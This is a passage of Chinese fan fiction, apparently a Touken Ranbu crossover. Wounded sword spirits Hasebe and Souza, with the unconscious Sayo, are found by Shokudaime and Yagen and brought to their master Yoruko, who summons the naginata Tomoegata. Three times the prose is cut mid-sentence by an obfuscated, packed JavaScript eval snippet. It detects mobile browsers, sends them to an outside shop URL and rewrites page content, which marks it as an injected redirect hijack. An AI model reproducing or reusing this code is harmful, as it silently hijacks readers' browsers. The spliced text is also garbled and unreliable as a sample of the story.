沉默在两人之间蔓延开来,只剩屋外的虫鸣断断续续。 “我们没有锻造材料。”长谷部的手不自觉地收紧,语气却近乎冷静,“就算有……我们也只是刀剑,并没有灵力进行手入。” 话音一落,他自己也愣了片刻。那种近乎绝望的想法,让他心底生出一阵钝痛。 宗三抬起头,看着他,绿色眼眸里的黯淡像燃尽的余烬。 锻造材料的事情能够解决,可是审神者呢?并不是所有人都能拥有灵力,并不是所有人能够救他们。 一切都显得那样无力。 好不容易从检非违使的追杀中逃出来,却还要眼睁睁看着同伴逐渐消逝。 小夜对他来说是同伴,于宗三而言却是兄弟,对方只会比他更不能接受。 “要是白山在就好了。”长谷部忽然笑了笑,苦涩的笑意像是在自嘲。 也许人到绝望时,就会胡乱抓住一切可能的希望。 “他早就失踪了吧。”宗三垂眸,“为此审神者还大怒了一场,毕竟那可是稀有的剑呢。” 更多的刀剑也因为他的怒火而被抛弃或主动离开。 说来也可笑吧,生气的原因不是因为刀剑失踪,而是稀有的刀剑失踪。 “是带着信浓逃跑了吧?”长谷部自己都觉得这话可笑。那可是高级合战场,除非白山抛下信浓,独自使用传送器离开,否则根本不可能生还。 但白山……会丢下他吗? 审神者没有感情,就推己及人地认为已经拥有人身的刀剑付丧神也没有感情。 可是就连长谷部自己,都做不到抛下与自己几乎毫无关联的小夜逃走。 更何况,对白山而言,即便他再不擅长与兄弟们相处,表面上再疏离,信浓也仍然是他的兄弟。 当初一期一振在审神者面前苦苦哀求,却换来了这样的结局。本丸里的那位审神者,还真是喜欢玩弄人啊。 但是,他现在想起这些不合时宜、又与自己无关的事又有什么用,不过徒增烦恼罢了。 “不提这些了。”长谷部低声道,掩下眼底的情绪,“你自己的伤怎么样?” 宗三缓缓抬头,唇角轻轻一扯,露出一个笑意不达眼底的表情。 “伤疤自愈了,但似乎……长出了骨刺。” 长谷部的呼吸微微一顿。 12. 暗堕 宗三的袖口滑落,露出的手臂上,细小的骨刺从皮肤底下生长出来,泛着诡异的灰白光。那些尖锐的突起顺着腕骨一路蔓延,看起来几乎要刺破肌肤。 这是时间溯行军最明显的特征。而当这种东西出现在刀剑的身上就意味着…… 他快要暗堕了。 长谷部的视线落在那只手上,喉结微微滚动,最终什么都没说。 本丸里的髭切总念叨着嫉妒会产生恶鬼,可长谷部知道憎恨亦然。 身为与时之政府签订契约、应审神者召唤而来的刀剑付丧神,理应斩杀一切恶鬼,守护历史。然而如今,他们自己却在一点点腐烂,成为了那种自己需要斩杀的存在。 荒谬、可悲,却又在这无尽的痛苦里显得那样理所当然。 “你觉得,”宗三忽然出声,声音低得几乎被风吹散,“他会来找我们吗?” 长谷部的眼神微动。 “如果你说的是江雪的话,”他声音低沉,“那他一定会来。” 宗三垂下眼,嘴角扯出一抹淡淡的笑,那笑意脆弱得像一阵风便能吹散。 “那我倒情愿他不要来。把我和小夜忘了,再去等新的宗三和新的小夜。”他轻声说,语气平稳得近乎温柔,却比哭还要哀伤。 “如果是由现在那位审神者亲手召唤的新刀,想必就不会遭遇这样的对待了吧。” 他看向门外,仿佛在看着另一个世界。那里有阳光,有温柔的笑声,有江雪在照顾花坛,小夜在身后一步一步地跟着他。那是他无数次设想过的生活,一个从未存在、却又无比清晰的梦。 “说不定到时候太阁也会来了。他们会很开心地生活吧……”宗三喃喃道,声音轻到像怕惊扰什么,“就像我曾经以为,我们也能那样幸福。” “我会照顾好小夜的。”他抬手替昏迷的少年掖好衣角,指尖微微发抖。那一瞬间,他的手上又长出一点细碎的骨刺,刺破了袖口。 他急忙地将手收回,惟恐不小心伤到了本就重伤的小夜,然后有些自嘲地笑了笑,“看来现在就连这也是奢望了。” “难道你能做到吗?”长谷部低声问,声音平静,却像刀刃轻轻划过他心中的伤口,“你能真的忘记江雪,再去找一个新的兄弟来替代他吗?” 宗三的动作顿住,指尖在空气中僵了半晌。 屋内一片死寂,只听见风穿过门缝的呼啸。 不能。 他做不到。 纵然早已习惯失去,纵然见证过无数离别,可唯独哥哥和弟弟的身影以及他们的温柔,他从未能割舍。 “对他来说,也是同样的道理。”长谷部的语气不再锋锐,只剩下淡淡的疲惫,“你这样说,只是在侮辱他。” 宗三怔怔地望着小夜的方向,那孩子的呼吸轻得几乎听不见,仿佛回到了很久以前,小夜依偎在他怀里熟睡的时光,如此地温暖安静,可弟弟苍白的脸色和身上可怖的伤口却将他打回了现实。 泪水无声滑落,打在地板上,溅出细小的痕迹。他却连擦拭的动作都忘了,只是静静坐着,任由泪水一滴滴坠落,看着那一滴滴的水痕晕开。 “如果可以的话,”他哑声开口,语气轻得像是在梦里,“当然不想分开啊……” “想和哥哥、弟弟一起照顾花坛,想和他们一起做很多、很多以前没能做的事。”他轻轻笑着,却连那笑都在颤抖,“但是就连这些记忆,也开始模糊了。” 他伸手按住自己的额头,像是想抓住什么,却只摸到冰冷的空气。 “原来暗堕是这样的吗?”他的声音发抖,眼底的光一点点黯淡下去,“好像有好多事情,都开始忘记了……” “真不想忘记啊……不想忘记……”宗三的声音低得几乎要被风吞没,带着一点破碎的颤音。那不是哭泣,却比哭更让人心口发紧。 他垂着头,肩膀轻轻颤抖,指尖紧攥着小夜的衣角。那些细小的骨刺顺着手臂一路蔓延,像是要钻破皮肤透出皮肉底下那股蠢蠢欲动的黑气。 长谷部眼神一沉,几乎是本能地出声阻止,“你不可以再想下去了!”他语气陡然变得锐利,“暗堕症状加重了。” 宗三微微一怔,眨了眨眼,像是终于从某种深渊里被拉回现实。他的唇颤抖了一下,呼吸有些紊乱。 空气里弥漫着浓重的铁锈味,暗堕的气息像烟雾一样在他身周流动。 长谷部伸手压住宗三的肩,感受到那皮肤底下不自然的热度与震颤,“想想小夜。”他低声说,语气急切却克制,“他现在还在昏迷,重伤未愈,还需要你。” 宗三的呼吸一滞。 “我当然会尽力照顾他,”长谷部继续道,声音里带着一丝难以掩饰的疲惫,“但你也清楚,只有我一个人根本应付不了这么多溯行军。” 宗三低下头,嘴角轻微抽动,像是努力克制着什么。他缓缓抬起手,骨刺在皮肤下退了几分。 长谷部注视着那变化,心底却清楚这只是一时的。 实际上,就算两个人联手也无济于事。 他们都还未极化,能够储存的灵力有限。 能撑到现在不过是靠宗三身上那股暗堕的气息,让那些与同伴分散的溯行军误以为是同类,才暂时得以喘息。 对于强大的敌人,他们根本束手无策。尤其是那个黑发红瞳的男人…… 那人身上散发着冰冷、阴湿,像腐烂血肉的甜腥味,鬼气浓烈得近乎实体,连长谷部这种没有斩鬼逸闻的刀剑都几乎要被那种非人的气息呛得作呕。 长谷部能感觉到他比实力比他遇过最强的检非违使还要强上数百倍,说不定这个世界出现的溯行军都是受他操控。 本能告诉他们,那不是他们能抵抗的东西。所以,他们小心避开了那个鬼,靠着偷袭与侥幸清理出周围的溯行军,才得以占据了这间残破的木屋。 长谷部缓缓收回手,望着宗三的背影。 他仍在抵抗,但也快到极限了。只要没有审神者,情况就不可能好转,只会继续恶化。 长谷部靠坐在门边,脑中正反复盘算着下一步的打算。明天一早 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16875509|191886||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,他打算进城去碰碰运气,或许能找到具有灵力的人。 哪怕只是暂时补充一点灵力,至少也能暂时阻止事态恶化。 他想到这,忽然察觉到气息的变化。 宗三原本还因压制暗堕而轻微颤抖,此刻却意外地静了下来,然而给人的感觉却更加危险了。 “宗三?”长谷部低声问。 对方没有立刻回答,只是抬起眼,瞳孔微微收缩,伸手抓住了长谷部的衣袖。那指尖的力气之大,甚至让布料微微皱起。 “怎么了?” 宗三的目光仍停在门外,声音低得几乎贴着喉咙:“有人来了。”语气带着一丝紧绷的沙哑,却格外笃定。 长谷部立刻明白了。 暗堕后的刀剑五感都会被放大,尤其是侦查的提升最为明显。宗三的侦查如今堪比短刀,他们一路上能避开大多数的溯行军,正得益于他这份敏锐的感知。 长谷部毫不犹豫地拔刀,微微侧身,站在门口,戒备中带着杀气。 “是谁?”他的声音低沉,带着警惕。 两道身影从前方走出。 “这么快就发现我们了吗?”烛台切光忠微微挑眉,语气里带着一丝意外。 他环视屋内,目光在长谷部手中那柄紧绷的刀上停了一瞬,神情却依旧温和。 “对未极化的打刀而言,这份侦查力有点太高了呢。”他低声感叹道。那并非怀疑,而是单纯的惊叹。 事实上,他只是察觉到木屋中有灵力的波动,却分辨不出是谁,直到药研提醒他。 “长谷部、宗三,还有……”烛台切的目光缓缓移向宗三怀里的那抹身影,语气轻柔下来,“小夜。” 长谷部手中的刀却几乎没有放松半分。他的眼神冷冽,声音低沉,“烛台切光忠和药研藤四郎?” 真是诡异的组合。 要说太刀和短刀的组合,怎么也应该是烛台切光忠和太鼓钟贞宗、一期一振和药研藤四郎吧。 空气一时僵冷。 宗三的声音从屋内传来,带着些许虚弱,“他们和我们是同一个本丸的。” 气氛一瞬间微妙地停滞了。 长谷部的目光在那两道熟悉的身影上停了片刻,视线不自觉地往下移,落在另一振短刀身上,“药研?” 他们曾经都被那个魔王拥有,所以他和药研彼此之间也算比较熟悉,但是……在粟田口一派离开后,他们就再也没见过了。 药研点头,唇角似乎轻轻弯起了一点,“好久不见。” 长谷部的喉结轻轻滚动了一下,视线再次转移,落在另一振高大的刀剑上。他略带几分迟疑地开口,“……烛台切?” 烛台切虽然也曾经被织田信长拥有,但更多时候还是跟伊达组混在一起。 对方露出温和的笑容,“是我。” “你……哈……”长谷部勉强撑起一个笑,“原来我们竟然是来到你流浪的地方了吗?” 他突然意识到关键的一点,“你有审神者吗?是怎么撑到现在的?” 13. 织田组 审神者的灵力是维系他们存在的基础。 如果没有审神者稳定的供给,他们的灵力迟早会干涸。起初只是刀身上细微的裂痕,到最后连人形也无法维持,重新化为刀剑本体,更严重的甚至是直接碎刀、回归本源。 若是落到那种境地,能够回归本源都已经算是好的结局了。最怕的就是刀剑还没碎,就被溯行军拾起、拆解、炼化,化为那些鬼物的养分。 斩鬼之刃反过来滋养恶鬼。 这世上还有什么比这更荒谬的讽刺? 长谷部垂眸,看着那已经昏迷的小夜,眉间的线条绷得极紧。宗三蜷坐在少年身旁,手还保持着护着他的姿势,苍白的指尖因灵力流失而微微发抖。 相比之下,长谷部身上的伤似乎已经算不得什么了。此刻最需要审神者安抚与补给的是左文字家的两兄弟。 “我一开始流浪时并没有主人。”烛台切的声音打破沉默,语气近乎平静,回忆起过往,“只是靠极化后的灵力储备度日。” 药研怔愣,这是连他不知道的。 昨晚他们还在谈起流浪的话题,当时的他甚至还有点羡慕对方能够早点解脱。 回忆起当晚,大将已经睡下,烛台切微笑着开口,语气温和,“这么一想,自我离开本丸,我们也是好久都没见面了。” “是有一阵子了。”他指尖轻拂过床褥的褶痕,声音低低的“或许像你这样早点离开才是正确的选择,不管是我,还是一期哥都太晚下定决心了。” 烛台切听到这个名字时,目光微微一动。火光摇曳,他的神情在明暗之间若隐若现,像是想说什么,最终却只是叹了一口气,“看来在我离开后,本丸那边也不太平。” 回忆在此处淡去。 药研怔怔地望着他。 眼前这位总是温柔从容的太刀,也曾在无人庇护的荒野中独自度日。明明在流浪时度过这么艰难的时期,烛台切却仍是他们当中精神状态最稳定的刃,甚至在遭遇人类那样对待后,还愿意对身为人类的大将出手相救。 他有着温柔而强大的内核。 长谷部的目光略一凝,神色深了几分,“……一开始?”他追问着,却透着警觉。 如果还有这个字作为前提的话,是不是说明他们现在可能是有审神者的? “是啊,”烛台切轻轻点头,目光微微下垂,“不过现在已经遇到了很好的主人。”明明一开始的答复时还残留着几不可察的黯然,但到了现在,他的声音却柔和得近乎让人放松警惕。 长谷部下意识地审视着他。 如果他口中说的是真的、神情不是演的,那么他们现在的主人确实可能是个好人。 就在他思索间,烛台切再次抬起头,重新露出笑容,目光变得明亮起来,“你们要和我们回去吗?” 他的话像一根抛向绝境的绳索。 烛台切却在心里默默想着自己的主人。 在修复完白山和信浓后,他更加了解夜子的性格了。 她太温柔了,温柔得让人不由自主地放下戒备。她会凝神倾听别人未说出口的痛苦,也会在最需要时伸手把人从黑暗里拉起来。 如果她知道长谷部他们落到如今这般境地,绝不会袖手旁观。若他们什么都不告诉她,若她后来才得知—— 烛台切甚至能想象她那张微微失措、带着自责的神情。 他无法忍受让自己的主人露出那种表情。 更何况…… 既然看见了,又怎么做得到袖手旁观呢? 他看着眼前这几位伤痕累累、灵力濒危的同伴,语气不自觉地更柔了几分,“主人一定会愿意帮助你们的。” 语气里没有夸大和勉强,只有绝对的信任。 “我想你们也注意到了,”他继续道,眼神在屋内扫过,最后停留在昏迷的小夜身上,“这个世界有点古怪。一直被诡异的气息覆盖着,导致刀剑没办法自己使用锻造材料修复。” 长谷部低垂着眼,语气低沉干涩,“不,我们不知道。”他指尖轻轻摩挲着刀柄,白色手套被擦得发出轻微的声响。 烛台切的笑容微微一僵,眼神露出一瞬间的错愕。 “因为我们现在根本就没有锻造材料。”长谷部的语气平静,但平静背后是彻底的无奈。 但最让气氛变得僵硬的还是他的下一句话。 “你刚才邀请我们和你一起回去,但是……”长谷部抬起头,看向面前的两人,握紧刀柄,声音低沉缓慢,“你的审神者会愿意接受我们这样的刀剑吗?” 中伤、重伤、暗堕。 他们不再是可以被依赖的刀剑,而是残破、危险、耗费巨大的负担。 即便他仍在找寻希望,却早已绝望,所以在希望触手可得时产生的反而是怀疑。 “那座城几乎是封闭状态。”他继续道,眼神掠向远处的窗外。那里能隐约看见萧瑟的城影,完全不似一般城镇一样热闹。 “为了对抗鬼,现在城里的资源恐怕都被城主统一收集吧。你们的主人还有足够的资源吗?” 他的语气越发低沉,似在逼问,又似在替他们担忧,“如果没有,那你的审神者还有足够的灵力吗?” “你根本没问过你的主人要不要接受我们吧?你就不担心把我们带回去后,那人会责怪你?” 他缓缓垂下视线,声音低得几乎被风吞没,“若是把我们带回去,只是为了——将我们当成鬼来杀死……” 话音未落,空气冷得近乎凝固。 “不会这样的。”药研却毫不迟疑地打断,声音比方才更冷更锐利,“大将是个好人,是她让我、白山、信浓活了下来。” 他看向对方,眼中罕见地浮现出锋芒,“你不要在没见过她之前就随意开口诋毁她。” “再这样下去,小夜真的会碎刀、宗三真的会暗堕的。你难道想看到那样的结局吗?” 那是他绝不愿再见到的画面。 “我们要带你们回去,”他低声说着,“因为你们是我们的同伴啊。” 不管是同伴还是兄弟…… “已经不想再失去任何人了。”他的声音细得几乎听不清,却让屋内所有人都沉默了。 这句话是所有人的心声,药研也暴露了他脆弱的一面。 在一期一振不在的情况下,他就像是整个粟田口的支柱,是兄长,是照顾弟弟们的那个人。 烛台切早该想到在拥有意识却无法化为人形的那段日子里,药研只能眼睁睁地看着自己的兄弟陷入沉睡,心里该有多压抑和无力。 他目光复杂,轻轻叹了口气,却什么也没说。 药研沉默片刻,深吸一口气,像是在强迫自己冷静下来。他语气重新恢复了几分克制,“抱歉,是我失态了。” 他低下头,声音低沉却清晰,“请你们好好考虑吧。明天我和烛台切殿还会再来的。” 烛台切看着他,微微点头,正准 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16875510|191886||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 备跟着离开时—— “等等——”宗三的声音打断了他们。 两人回过头。 宗三的神情仍旧带着几分病态的苍白,但眼神却比方才坚定得多。他静静地看了小夜一眼,又看向长谷部,语气缓慢却笃定,“我们和你们走。” * “真没想到事情最后是这样解决的,”烛台切轻笑着,语气里带着松了一口气后的轻快,“但是能让他们同意跟我们走就好。” 药研抬头看了他一眼,也微笑着回应,“是啊,真是太好了。” 烛台切原本只是随口一叹,并不指望这话能延续下去。可他刚收回视线,便听见药研继续开口。 “烛台切殿,”药研忽然问,声音压得更低,像是踌躇后才开口,“关于刀剑没办法在这个世界自己使用锻造材料修复……你是怎么知道的?” 烛台切的步伐轻轻一顿。 他侧头看向药研,那双金色的眼中掠过一丝温和的笑意,仿佛是在安抚对方的担忧,“是亲身试过之后才知道的。” “受伤了?”药研立即皱着眉问道,几乎像是下一秒就要伸手把他拦下来检查。 “嗯?”烛台切像是这才意识到什么似的,轻轻眨了下眼,然后露出标志性的帅气笑意,“没有大碍。” 他抬起右手,摊开掌心。指间线条修长,但皮肤上却隐约能看到几道被锋利物划过的干涸血痕。 “如果在刀帐里看,”他轻描淡写地说,“大概只会显示掉了几滴血,连轻伤的程度都还没到。” 药研盯着那只手,神情却明显严肃了许多。 伤口确实不大,但偏偏伤在握刀的地方,这就代表每次拿起武器都必定会触碰到到伤口。 “毕竟没有刀装,”烛台切轻声补道,语气依旧温柔,“那时候鬼突然出现得太多,只有我在现场,就只能硬抗了一些攻击。” “是在见到主人之前受伤的。”他笑着补充,眉眼间的弧度温和得几乎让人放松警惕,“而且别担心,主人的灵力的确很充裕,只是昨晚待在主人房间,伤口就已经开始渐渐愈合了。” 他说得轻松,像是在陈述一件再平常不过的事,但药研还是能察觉到对方刻意带过的部分。 “织田组几乎快团聚了,是值得庆祝的事吧?”烛台切转开话题。 见他不想再谈,药研只能顺着对方的意接过话题,“也就是说,只差不动了?” “他没有和你们一起离开吗?”他问道,目光转头看向身侧的长谷部和抱着小夜的宗三。 长谷部只是轻轻摇头,勉强扯出一个笑容,“他说想提升自己的力量,只有变强,才能保护其他人。” 他明明是笑着,语气却很悲伤,“真是……这么天真。” 烛台切和药研都沉默了一瞬。 宗三低垂着眼,指尖无意识地抚过小夜的额发,“然后,他就用自己攒下的修行道具去极化了,”他接着说,神情更加忧郁,“之后就再也没回来。” “应该是在修行中迷失了吧。”他说完,轻轻叹息,“毕竟他仰慕的人可是那位男人……” “又怎么会接受效忠现在本丸里的那位审神者呢?” 他的话音一落,所有人都被沉重的悲伤覆盖了。 药研也不例外。 然而下一秒,他眉头一皱,警觉地抬头,眼神变得锐利,整个人从哀伤的余韵中被瞬间拉回现实。 “有溯行军来了。” 14. 缺刃 出阵队的情况在本丸中的留守人员显然是不清楚的。 仓库里格外安静,信浓哭得累了就睡着了,夜子也没有特别爱说话的,白山就更不用提了。而人一安静下来就容易胡思乱想,更加剧了她心里的不安。 夜子低头,看着怀中仍昏沉的信浓,忍不住轻声问身旁的白山,“正常出阵是多少人一队?” 白山原本安静地立着,被夜子招呼才坐下,但即便坐下,他的背脊仍笔直得像在站立,语气冷静如常,“六人。” “现在只有两人……”夜子咬住下唇,肩膀微微紧绷着。她看向仓库外的方向,目光追逐着早已不见的药研和烛台切的身影,“总觉得有点担心呢。” 她语气里藏着的焦虑非常明显。作为一个从未踏入战场的人,她对战场这两个字难免带着本能的畏惧。 她的亲近之人就是在与鬼的斗争中逝世的,她很难不去担心自己做出的决定会不会让悲剧再次重演。 她已经不想再体会那种无力与绝望。 白山侧头看她,“……主人,担心?” 夜子垂眸,微微点了点头,抱紧了信浓。 白山的睫毛低垂,像冰面落下一片雪,“原来如此。” 他抬起眼时,那目光比先前更认真了一分,难得说出了长句,“药研与烛台切殿已极化。足以,应对低阶溯行军。” 他说这句话不是为了安慰,而是陈述事实般的笃定。 “诶?”夜子愣了一下,显然有些错愕,“我记得药研似乎说他还没极化。” “他没意识到。”白山淡淡地说,“他的服装变了,更华丽了。” 夜子眨了眨眼。 他说的可能是药研以前的服装吧。毕竟从她第一次见到药研,他就是现在的样子,她也不知道所谓的以前是什么样子。 “突然有点好奇药研之前穿的是什么了。”她露出一个轻柔的笑,却带着一点想努力把注意力转移开的意味。 白山似乎认真想了想,然后像是在绞尽脑汁寻找词汇,“应该……就是比现在少了一点颜色。” 但他的话没能继续。 因为夜子的笑容已经重新垂落。 “我们现在是不是有些缺人手呢?”她声音轻轻的,“这样下去不是办法……” 白山沉默了几秒,“请求查询其他刀剑。”语气冷静得像是在报指令。 他的话让从来没听说过现代化指令的夜子有些发懵,但她还是努力凭借自己的理解回答了他。 “是指可以化作人形的刀剑吗?我想应该没有了。”她的声音里带着羞愧,“在遇到药研和烛台切之前,我甚至从没见过付丧神,也没想过传说会是真的。” 夜子低头,看着怀里的信浓那张小脸,轻轻摸了摸他的头,“除了粟田口的刀剑,我从来没有遇到过那种第一次见面就会知道名字的刀剑。我想这应该是刀剑付丧神的特征之一。” 她本身不会武艺,手臂纤细,连刀柄都握不稳。药研是她唯一的护身刀,其余刀剑更多是作为她出嫁时象征性的嫁妆,除了白山和信浓,里面也没有付丧神的存在。 白山点头,“只有充裕的灵力才能感知到。” 夜子的眉眼弯起,“你是在夸我灵力很充足吗?谢谢你。药研和烛台切也是这么说的。”说着,她抬手顺势摸了摸白山的头。 虽然手下摸到的只是一顶帽子,但白山仍明显顿住,眼睛僵硬地睁大了一点,反应简直像是兔子突然被摸到了尾巴。 夜子心里咚地一下,有被他的反应可爱到,随即又因为自己的想法而羞愧得慌忙摇头。 “对不起。”她有些担忧地看着他,“你是不喜欢这样吗?因为你看起来很像弟弟,下意识就……” “不讨厌。”白山轻轻摸了摸自己的帽沿,然后他突然停住动作,困惑地嘀咕,“体温上升……发烧?分析情况……无需修复。” 夜子忍不住扑哧一笑,但声音仍然压得很轻以免吵醒信浓,“不是发烧啦,你只是害羞了。” 白山明显更困惑了,“我……害羞?”他低下视线,像是初次遇到难解的谜题而彻底死机。 “我,和刀类的刀剑男士不一样,”他轻声道,声音轻得像落在深雪里,“不能像人一样。” 不管是说话,还是感知情绪。 那些对大多数刀剑来说都是本能的事,对他而言却是非常难以理解的事物。 然而,夜子却很认真地看着他,“我不觉得白山有什么奇怪哦。” 这话让白山想起一期和他说的话。 那是他也是这么告诉他的,而蓝发的太刀却笑着对他说:“有一个不善言辞的兄弟我也觉得没什么,至少我是这么想的。” 虽然语句并不相同,但都一样的温柔、一样的让人心口发热。 夜子的声音在耳边继续,“虽然不知道发生了什么,你和信浓才会来到这里,但想必一路上一定经历了很多危险。”她语气很轻,但却很坚定。 “我看得出来,白山比信浓……嗯,是说等级更高吗——是这样用的吗?”她犹豫了一下,还是用自己的话解释,“大概就是灵力比较强?总之,是你一直在保护他吧?” 她露出温柔的笑容,“这就已经很像人了,而且是很好很好的人。白山很爱护兄弟呢。” 白山怔了一瞬,睫毛颤了一下,像是心中的某个柔软的地方被轻轻按了一下。 “主人……”他声音低低的,带着一种不太熟悉的情绪,“谢谢。” 夜子摇摇头,轻轻笑道:“不用客气。如果以后有什么心事,都可以跟我说。我大概算是个擅长倾听的人吧。” 她顿了顿,看着自己的手指,轻轻叹息,“我虽然没办法在战场上帮你们,但如果能在其他方面尽一份力,那就太好了。” 白山认真地点头。 他似乎沉默地处理完这种新的情绪,随后抬眼看着她,“主人,我和信浓都是主人的嫁妆。” “对的,怎么了吗?如果 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16875511|191886||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是担心你们变成人形,让嫁妆里少了几振刀剑,那不用担心。”她轻轻笑,笑里却藏着难掩的悲伤,“我会去退婚的。” 且不说未婚夫已经变成了陌生人,现在也不是适合结婚的时候。 白山摇头,轻声问道:“嫁妆里有薙刀吗?” “诶?”夜子愣住,“嫁妆里有一振巴形薙刀。” “最近在公家间流行用它给女儿做嫁妆,父亲也就在里面添了一振。”她解释得很小声,“因为挥起来不太需要力气,他还想过让我学薙刀,”她脸颊微红,“不过我没天赋就放弃了。” 白山静静听着,随后语气笃定,“可以召唤。” 夜子眨了眨眼,“白山的意思是召唤巴形薙刀?但我收藏的那振只是普通工匠打造的嫁妆刀,并不是什么名刀。”她神情看起来有些迷茫,甚至有些不好意思。 “薙刀,巴形。没有铭和传说,没有故事的巴形的集合体。”他冷静地复述自己知道的信息,“由此,任何巴形薙刀都可以用于召唤。” 他抬起眼,冰蓝的瞳色清澈到几乎透明。 夜子怔住了几秒。 就在这时,一旁原本沉睡的信浓突然微微动了动,睫毛颤了两下,然后揉了揉朦胧的眼睛。 “嗯!大将就试一试吧。”信浓含糊地说,“白山很聪明的,就是因为有他在,我才没有在中途碎刀。” 夜子:?!! 她吓了一跳,但发现是信浓出声后又松了一口气,笑着看着他,“信浓?你醒了?” 信浓脸蛋微微泛红,显得有点不好意思。他本来就爱撒娇,现在醒来后整个人更是软软的。 他点点头,“大将的怀里好温暖。”他说得很轻,像怕被别人听见似的,“不知不觉就……睡着了。” 说完,他竟像只小动物一样,在夜子的脖颈附近蹭了蹭,软得像羽毛轻扫,“好想一直被大将抱着。” 夜子被他逗得忍不住失笑,眼角弯起,“那就再待一会儿吧。” 信浓却很快摇头,带着少年的认真,“不行。”他说着便自己从夜子的怀抱里钻了出来,“大将还是先去召唤新同伴吧。” “足够的刀剑,是对付溯行军的路上必不可少的哦。”他侧过头,看向白山,笑容明亮得让人无法窥见他在先前的不自信,“你说对吧,白山?” 白山点头,“主上,请召唤巴形薙刀。” “好。”她微微翘起嘴角,起身走向角落的箱子。她指尖在木盒的边缘滑过一圈,“我记得是放在这里……” 随着木盒打开,里面正是静静躺在绸布中的巴形薙刀。夜子吸了口气,将它从盒中举起。对于大多数时候只握短刀的她而言,刀身比她想象的更沉。 “那我开始了。”她深吸一口气,将薙刀垂直立起,双手稳稳握住,将灵力注入其中。刀身像是感应到了什么,轻微震动了一下。 下一瞬—— 咔。 裂痕像蜘蛛网一样从刀身中心迅速扩散。 15. 薙刀 薙刀在她掌心里发出一声脆响,刀身沿着原本的纹路彻底崩裂。冰冷的金属片从她指尖滑落,叮叮当当地砸在地面裂成了好几片。 “断了……”她呢喃着,整个人像被冰水浇了一盆似的,“是不成功吗?” 由于在注入灵力时,她捧着薙刀,所以在刀身碎裂后,一些细小的金属碎屑难免划过她的掌心,留下几道浅红的划痕。 机动更高的信浓反应极快,几乎是在她皱眉的瞬间就冲过去抓住她的手腕,立刻把她的手从刀片边缘拉开。 他低头检查那只手,眉头紧皱,呼吸都轻了半拍。 “……还好只是擦伤。”看见血迹并不深,他才明显松了一口气。语气却压得低低的,“如果我再快一点,大将就不会受伤了。”语气里带着很明显的自责与失落。 “没关系的。”夜子摇了摇头,轻声安慰他,“这不是你的错,而且伤口也不是很严重。” 然后,她转头看向白山,语气里带着浓浓的歉意与羞愧,“抱歉,我想我可能失败了……” “不是失败。”白山摇头,语气沉稳地安抚她,“成功了。” “可是它裂开了……”夜子心口揪紧,抬起的睫毛轻轻颤抖。 “普通的刀剑想要召唤作为刀剑集合体的付丧神,就会因为承受不住灵力而裂开。”白山平静解释,“若用仿刀召唤真正的付丧神,也同样是这个道理。” 信浓也对她点点头,给了她一个拥抱,“大将不用担心。” 他话音刚落,破碎的刀身中缓缓升起一缕樱色光芒,如春日风里飘散的花瓣。 一片、两片、三片…… 樱花花瓣从裂开的刀身中涓涓升起,绕着夜子的手指轻轻盘旋,带着温柔的暖意。 光芒在空中聚拢,凝成了一个模糊的身形。仔细一看,就连原本散落在地上碎裂的薙刀也恢复成原样了,甚至看起来比原本的还有漂亮锋利,散发着崭新的光泽。 随着花瓣落定,一名身姿纤长的付丧神缓缓现形,紫色的瞳孔微微弯起,像是刚从长眠中睁开眼。 他朝夜子微微俯身,声音低柔,“薙刀,巴形。无数无名的巴形薙刀的意识聚集起来,成为了现在的我。” 他抬起眼,嘴角带着轻柔却自信的弧度,“请尽情地挥舞我。”他露出一个笑容,“我的主人。” 夜子怔了怔,下意识挺直身体。 “请多指教。”她也小幅行礼,随后像想起什么似地眨了眨眼,“我是夜子,鬼道夜子。” 仔细想来,在药研、信浓、白山自我介绍的那几次,她都默默听着,却一直忘记自我介绍。大概是因为他们一直在自己身边,她便下意识以为他们本来就知道了。 这个习惯一经意识到,她自己都忍不住觉得有些好笑。 “夜子。”巴形轻轻重复了一遍,像在品味名字的音节与含义,“真是个好名字。” 夜子被他说得脸微微热了起来,耳尖顿时升起一点薄红,下意识露出一个浅浅的笑。整个人显得有点害羞,却又很开心。 这是母亲为她取的名字。 “夜不是黑暗,夜是星星出现的时间。”记忆里已经面容模糊的母亲抚摸着她的脸,“我没什么能给你的,只有这个愿望。” 就在这段温柔气氛里,巴形的视线落在夜子怀里那只小短刀身上。他的目光温和,但笑容微微浅到不达眼底,“这是这里的礼仪吗?” “诶?”夜子微微一怔,下意识抱紧了信浓一点,眼神里浮出困惑的光芒,像是不太明白他指什么。 下一秒才反应过来,她迅速摇头,“不是啦,只是信浓比较喜欢拥抱,所以就……” 